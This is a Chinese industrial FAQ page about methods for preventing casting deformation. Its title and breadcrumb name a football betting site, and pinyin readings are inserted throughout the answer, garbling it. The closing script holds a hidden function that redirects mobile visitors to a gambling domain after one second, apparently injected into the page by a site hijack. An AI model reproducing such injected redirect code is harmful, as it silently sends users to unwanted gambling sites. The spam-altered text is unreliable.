欧冠投注网站

您当前所在的位置:欧冠投注网站 > 帮助中心 > 常见问题与答案

铸件防变形的方法有哪些?

  答(da):A.取模(mo)——取模(mo)自动顶(ding)模(mo)减少变(bian)形,冷(leng)却时用(yong)胎具固定(ding),组(zu)树时检(jian)具检(jian)测;

    B.制壳——工艺上与浇注系统(tong)形成框架(jia),必要的设计辅(fu)具固定;

    C.焙(bei)烧(shao)——焙(bei)烧(shao)时(shi)设计放置辅具;

    D.热处理——装箱方式和数量固(gu)化统(tong)一,减少(shao)加(jia)热过(guo)程中变形(xing);

    E.抛丸——挂抛;

    F.校(xiao)正(zheng)——对(dui)没有防止住(zhu)变(bian)形的铸(zhu)件,事后(hou)机械校(xiao)正(zheng)保证。


查看更多评论>>会员评论:

发表评论
验证码: 匿名发表
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();